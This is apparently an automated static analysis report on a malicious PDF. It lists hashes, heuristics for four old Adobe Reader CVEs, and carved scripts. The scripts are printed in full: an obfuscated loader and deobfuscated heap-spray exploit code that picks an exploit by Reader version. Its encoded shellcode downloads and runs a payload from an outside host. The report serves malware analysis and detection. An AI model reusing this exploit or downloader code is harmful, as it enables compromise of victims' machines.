Malicious PDF — malware analysis report

Static analysis result for SHA-256 5058504d5718c07a…

MALICIOUS

PDF

12.5 KB First seen: 2013-06-21
MD5: 2ab52c0a425ef232abbc5c4082200152 SHA-1: a059ed6cb759be212a2478ef4174ee754ef7699d SHA-256: 5058504d5718c07a2dfc801d574c883d7cdf5e56bc95f0637fc6e66d08ee04a0
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, specifically targeting CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it attempts to download a second-stage payload from the URL http://forum.mamakcilingir.com/w.php?f=7&e=5. This exploit chain is characteristic of a downloader or initial access exploit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://forum.mamakcilingir.com/w.php?f=7&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x3A9 11655 bytes
SHA-256: 94e5900f9ddb4cbe21cda766c78fe6fa294956573bf36b791710a1629de4f42a
Preview script
First 1,000 lines of the extracted script
w='s';
w+="l";
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z=[66,38,39,61,10,63,16,37,44,1,46,18,68,27,69,69,46,18,67,54,0,3,46,18,68,55,67,54,46,18,24,55,0,3,46,18,0,71,27,3,46,18,27,27,55,67,46,18,69,3,54,23,46,18,3,23,68,10,46,18,68,10,27,23,46,18,23,54,3,23,46,18,24,23,68,10,46,18,55,69,15,54,46,18,24,69,68,10,46,18,27,27,23,68,46,18,69,69,6,10,46,18,55,0,68,10,46,18,23,27,27,54,46,18,27,27,24,3,46,18,68,15,56,54,46,18,15,55,0,0,46,18,67,67,15,23,46,18,10,68,67,67,46,18,3,23,68,10,46,18,54,27,27,23,46,18,27,71,3,69,46,18,24,55,23,69,46,18,68,24,67,10,46,18,56,3,27,3,46,18,0,3,68,55,46,18,55,15,24,55,46,18,0,10,0,71,46,18,55,15,3,54,46,18,68,10,55,69,46,18,27,54,24,55,46,18,24,3,68,10,46,18,24,68,27,55,46,18,67,55,23,27,46,18,68,10,55,69,46,18,56,23,24,69,46,18,67,55,23,27,46,18,54,71,27,27,46,18,3,15,3,71,46,18,38,6,67,54,46,18,54,55,23,27,46,18,6,10,27,27,46,18,10,0,23,67,46,18,27,68,15,23,46,18,24,3,67,56,46,18,54,15,23,68,46,18,23,6,54,10,46,18,6,38,23,27,46,18,0,10,3,23,46,18,27,10,67,15,46,18,24,55,15,67,46,18,55,0,0,69,46,18,55,0,68,10,46,18,23,27,56,3,46,18,69,69,6,6,46,18,23,54,68,10,46,18,68,6,3,10,46,18,0,54,3,69,46,18,55,3,67,67,46,18,23,54,56,3,46,18,6,68,68,10,46,18,6,6,23,27,46,18,23,3,68,10,46,18,23,27,68,10,46,18,38,10,54,55,46,18,55,71,55,0,46,18,0,10,54,27,46,18,38,6,55,27,46,18,69,68,68,10,46,18,68,23,56,23,46,18,23,54,24,6,46,18,24,3,27,27,46,18,71,69,23,27,46,18,67,27,0,10,46,18,69,68,68,10,46,18,68,10,23,68,46,18,69,38,67,24,46,18,55,71,23,55,46,18,71,68,0,68,46,18,67,67,67,67,46,18,0,56,67,67,46,18,0,68,67,71,46,18,23,23,23,23,46,18,23,23,23,23,46,18,55,23,55,68,46,18,3,23,69,38,46,18,67,67,69,68,46,18,23,23,23,23,46,18,55,23,23,23,46,18,54,23,68,27,46,18,55,23,15,71,46,18,68,10,55,55,46,18,68,10,0,54,46,18,15,23,55,0,46,18,54,27,68,27,46,18,67,67,23,55,46,18,69,68,0,27,46,18,69,0,69,67,46,18,23,23,23,23,46,18,24,55,69,68,46,18,69,54,24,56,46,18,55,3,69,6,46,18,15,69,67,67,46,18,54,3,68,27,46,18,68,10,23,68,46,18,0,68,0,68,46,18,67,67,69,15,46,18,67,67,67,67,46,18,23,56,0,10,46,18,24,56,0,10,46,18,0,54,68,15,46,18,23,15,23,3,46,18,23,23,23,23,46,18,55,54,68,6,46,18,23,54,56,3,46,18,23,3,54,24,46,18,24,56,56,3,46,18,69,24,69,55,46,18,54,24,24,27,46,18,56,3,3,3,46,18,24,69,23,3,46,18,27,27,24,56,46,18,54,24,27,56,46,18,56,3,3,3,46,18,56,23,23,68,46,18,24,27,56,6,46,18,55,27,56,23,46,18,67,68,69,68,46,18,23,23,23,23,46,18,67,67,23,23,46,18,23,54,55,69,46,18,0,68,68,10,46,18,54,71,27,27,46,18,54,24,55,15,46,18,15,6,3,3,46,18,24,24,23,23,46,18,69,56,24,23,46,18,54,24,24,3,46,18,15,6,3,3,46,18,56,0,23,55,46,18,69,54,69,3,46,18,54,69,69,54,46,18,15,6,3,3,46,18,23,23,23,71,46,18,68,38,55,71,46,18,23,3,54,15,46,18,68,68,27,23,46,18,15,6,3,3,46,18,3,15,23,3,46,18,69,38,55,15,46,18,69,38,23,23,46,18,55,27,23,23,46,18,69,38,55,24,46,18,67,67,23,23,46,18,15,3,55,69,46,18,54,23,68,55,46,18,15,69,24,55,46,18,23,23,69,38,46,18,67,67,55,27,46,18,23,3,55,69,46,18,23,23,69,38,46,18,0,10,68,27,46,18,55,27,23,54,46,18,55,69,67,67,46,18,68,27,23,3,46,18,23,54,54,27,46,18,23,56,0,10,46,18,15,27,0,10,46,18,68,23,3,24,46,18,23,23,27,67,46,18,67,38,24,55,46,18,68,23,3,24,46,18,23,23,27,67,46,18,54,3,24,55,46,18,23,23,69,38,46,18,67,0,69,38,46,18,55,69,67,67,46,18,0,68,23,68,46,18,67,0,71,54,46,18,67,67,67,67,46,18,3,0,68,0,46,18,0,54,23,0,46,18,67,0,71,68,46,18,23,0,68,38,46,18,69,67,68,71,46,18,10,6,23,15,46,18,54,38,27,27,46,18,55,10,68,38,46,18,54,69,15,10,46,18,24,71,3,69,46,18,15,38,27,69,46,18,24,23,56,67,46,18,24,3,69,68,46,18,24,23,24,3,46,18,56,67,27,38,46,18,69,69,56,67,46,18,24,56,69,67,46,18,69,6,24,55,46,18,69,6,56,0,46,18,69,6,69,15,46,18,69,10,69,15,46,18,69,71,69,27,46,18,69,71,69,54,46,18,69,24,69,0,46,18,24,56,69,71,46,18,69,27,56,0,46,18,69,6,69,67,46,18,24,24,56,67,46,18,24,23,56,0,46,18,24,23,69,68,46,18,69,69,27,67,46,18,27,24,27,6,46,18,69,55,56,69,46,18,27,55,27,6,46,18,23,23,23,23,1,9,67,18,22,54,34,57,58,22,61,0,43,66,39,45,39,38,21,41,5,11,74,35,70,57,64,0,45,39,38,8,64,0,22,37,34,70,31,56,4,41,5,11,74,39,38,28,44,39,38,9,72,39,38,44,39,38,8,16,18,10,16,34,39,57,22,37,45,23,21,41,5,53,56,11,9,39,0,34,18,39,22,61,39,38,9,72,61,67,18,22,54,34,57,58,22,61,10,26,45,11,74,66,38,39,61,6,48,37,44,22,0,35,61,2,39,39,38,5,45,11,9,66,38,39,61,66,35,44,23,26,23,54,23,54,23,54,23,54,9,66,38,39,61,38,6,6,39,44,23,26,3,23,23,23,23,23,9,66,38,39,61,42,38,5,64,58,38,6,44,18,22,0,16,54,38,42,0,45,10,63,16,37,11,9,66,38,39,61,16,54,29,64,0,22,44,42,38,5,64,58,38,6,8,64,0,22,37,34,70,31,56,9,66,38,39,61,41,5,44,38,6,6,39,47,45,16,54,29,64,0,22,28,23,26,27,68,11,9,66,38,39,61,5,38,39,16,42,44,18,22,0,16,54,38,42,0,45,36,46,18,71,23,71,23,46,18,71,23,71,23,36,11,9,5,38,39,16,42,44,0,43,66,39,45,5,38,39,16,42,21,41,5,11,9,66,38,39,61,54,58,18,22,34,56,44,45,66,35,47,23,26,3,23,23,23,23,23,11,53,38,6,6,39,9,67,58,39,45,66,38,39,61,54,58,18,22,34,44,23,9,54,58,18,22,34,4,54,58,18,22,34,56,9,54,58,18,22,34,28,28,11,74,6,48,37,52,54,58,18,22,34,62,44,5,38,39,16,42,28,42,38,5,64,58,38,6,9,72,61,66,38,39,61,58,66,0,39,67,64,58,35,44,18,22,0,16,54,38,42,0,45,36,46,18,23,54,23,54,46,18,23,54,23,54,36,11,9,35,70,57,64,0,45,58,66,0,39,67,64,58,35,8,64,0,22,37,34,70,4,3,3,71,55,56,11,74,58,66,0,39,67,64,58,35,28,44,58,66,0,39,67,64,58,35,9,72,61,34,70,57,16,8,54,58,64,64,38,10,49,34,58,39,0,44,30,58,64,64,38,10,8,54,58,64,64,0,54,34,73,60,38,57,64,13,22,67,58,45,74,16,18,10,63,32,36,36,21,60,16,37,32,58,66,0,39,67,64,58,35,72,11,9,72,61,67,18,22,54,34,57,58,22,61,42,39,57,22,34,67,45,11,74,22,58,42,44,18,22,0,16,54,38,42,0,45,36,46,18,23,2,23,2,46,18,23,2,23,2,46,18,23,2,23,2,46,18,23,2,23,2,36,11,9,66,38,39,61,42,38,5,64,58,38,6,44,18,22,0,16,54,38,42,0,45,10,63,16,37,11,9,70,0,38,42,10,64,58,54,48,44,22,58,42,28,42,38,5,64,58,38,6,9,10,57,37,10,64,58,54,48,44,18,22,0,16,54,38,42,0,45,36,46,18,23,2,23,2,46,18,23,2,23,2,36,11,9,70,0,38,6,0,39,16,57,43,0,44,56,23,9,16,42,39,38,5,44,70,0,38,6,0,39,16,57,43,0,28,70,0,38,42,10,64,58,54,48,8,64,0,22,37,34,70,9,35,70,57,64,0,45,10,57,37,10,64,58,54,48,8,64,0,22,37,34,70,4,16,42,39,38,5,11,74,10,57,37,10,64,58,54,48,28,44,10,57,37,10,64,58,54,48,9,72,61,67,57,64,64,10,64,58,54,48,44,10,57,37,10,64,58,54,48,8,16,18,10,16,34,39,57,22,37,45,23,21,16,42,39,38,5,11,9,10,64,58,54,48,44,10,57,37,10,64,58,54,48,8,16,18,10,16,34,39,57,22,37,45,23,21,10,57,37,10,64,58,54,48,8,64,0,22,37,34,70,47,16,42,39,38,5,11,9,35,70,57,64,0,45,10,64,58,54,48,8,64,0,22,37,34,70,28,16,42,39,38,5,4,23,26,3,23,23,23,23,11,74,10,64,58,54,48,44,10,64,58,54,48,28,10,64,58,54,48,28,67,57,64,64,10,64,58,54,48,9,72,61,60,0,60,44,22,0,35,61,2,39,39,38,5,45,11,9,67,58,39,45,57,44,23,9,57,4,15,3,23,23,9,57,28,28,11,74,60,0,60,52,57,62,44,10,64,58,54,48,28,70,0,38,42,10,64,58,54,48,9,72,61,66,38,39,61,22,18,60,44,15,56,71,71,71,71,71,71,71,71,71,71,71,71,71,71,71,71,71,71,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,9,18,34,57,64,8,42,39,57,22,34,67,45,36,46,3,55,23,23,23,67,36,21,22,18,60,11,9,72,61,67,18,22,54,34,57,58,22,61,37,0,34,57,54,58,22,45,11,74,66,38,39,61,38,39,39,5,44,22,0,35,61,2,39,39,38,5,45,11,9,57,67,45,38,42,42,8,6,58,54,8,30,58,64,64,38,10,8,37,0,34,13,54,58,22,11,74,66,38,39,61,42,38,5,64,58,38,6,44,18,22,0,16,54,38,42,0,45,10,63,16,37,11,9,66,38,39,61,70,25,41,55,23,23,30,75,44,42,38,5,64,58,38,6,8,64,0,22,37,34,70,31,56,9,66,38,39,61,41,5,44,23,26,3,23,23,23,23,23,47,45,70,25,41,55,23,23,30,75,28,23,26,27,68,11,9,66,38,39,61,5,38,39,16,42,44,18,22,0,16,54,38,42,0,45,36,46,18,71,23,71,23,46,18,71,23,71,23,36,11,9,5,38,39,16,42,44,0,43,66,39,45,5,38,39,16,42,21,41,5,11,9,66,38,39,61,42,55,2,63,19,69,55,67,44,45,23,26,23,54,23,54,23,54,23,54,47,23,26,3,23,23,23,23,23,11,53,23,26,3,23,23,23,23,23,9,67,58,39,45,66,38,39,61,66,41,54,51,40,71,69,5,44,23,9,66,41,54,51,40,71,69,5,4,42,55,2,63,19,69,55,67,9,66,41,54,51,40,71,69,5,28,28,11,74,38,39,39,5,52,66,41,54,51,40,71,69,5,62,44,5,38,39,16,42,28,42,38,5,64,58,38,6,9,72,61,66,38,39,61,34,12,17,70,75,10,20,35,44,18,22,0,16,54,38,42,0,45,36,46,23,71,36,11,9,35,70,57,64,0,45,34,12,17,70,75,10,20,35,8,64,0,22,37,34,70,4,23,26,3,23,23,23,11,74,34,12,17,70,75,10,20,35,28,44,34,12,17,70,75,10,20,35,9,72,61,34,12,17,70,75,10,20,35,44,36,75,8,36,28,34,12,17,70,75,10,20,35,9,38,42,42,8,6,58,54,8,30,58,64,64,38,10,8,37,0,34,13,54,58,22,45,34,12,17,70,75,10,20,35,11,9,72,72,61,38,65,64,18,37,57,22,16,44,38,42,42,8,42,64,18,37,13,22,16,9,66,38,39,61,16,66,44,42,38,39,16,0,13,22,34,45,38,42,42,8,66,57,0,35,0,39,50,0,39,16,57,58,22,8,34,58,49,34,39,57,22,37,45,11,8,54,70,38,39,2,34,45,23,11,11,9,67,58,39,45,66,38,39,61,57,44,23,9,57,4,38,65,64,18,37,57,22,16,8,64,0,22,37,34,70,9,57,28,28,11,74,57,67,45,38,65,64,18,37,57,22,16,52,57,62,8,22,38,60,0,44,44,1,73,49,54,39,57,42,34,1,11,74,66,38,39,61,64,66,44,38,65,64,18,37,57,22,16,52,57,62,8,66,0,39,16,57,58,22,9,72,72,61,57,67,45,45,64,66,44,44,71,11,7,7,45,45,16,66,44,44,68,11,33,33,45,64,66,4,44,68,8,15,56,11,11,11,74,37,0,34,57,54,58,22,45,11,9,72,0,64,16,0,61,57,67,45,64,66,44,44,24,8,15,11,74,42,39,57,22,34,67,45,11,9,72,0,64,16,0,61,57,67,45,45,45,16,66,44,44,69,11,7,7,45,16,66,44,44,24,11,11,33,33,45,64,66,4,24,8,15,15,11,11,74,10,26,45,11,9,72,0,64,16,0,61,57,67,45,45,64,66,59,44,71,8,15,11,7,7,45,64,66,4,44,71,8,56,11,7,7,45,64,66,59,44,68,8,15,27,11,7,7,45,64,66,4,44,68,8,15,24,11,11,74,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a="e'A4<yd|.;b)UI@1sMuKG,n07Wx3+_C*:&tw'garDqpz=(%-kSVQ[/c52io>m ]jlPvf86h9}E{N";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{

e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[z[i]];
}
}}

"))";try{if(!google.search())throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x3A9 3876 bytes
SHA-256: 68dc611b35406fa39ab18b4ef9253aada3f6c2bc64ff60ec1e835788ae908bac
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u662f%u726f%u6d75%u6d2e%u6d61%u6b61%u6963%u696c%u676e%u7269%u632e%u6d6f%u772f%u702e%u7068%u663f%u373d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x3A9 3872 bytes
SHA-256: 848bbcd5143338c8a47557c0520e3c25bf5b76b8e21cfe9f06082531b5f57532
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u662f%u726f%u6d75%u6d2e%u6d61%u6b61%u6963%u696c%u676e%u7269%u632e%u6d6f%u772f%u702e%u7068%u663f%u373d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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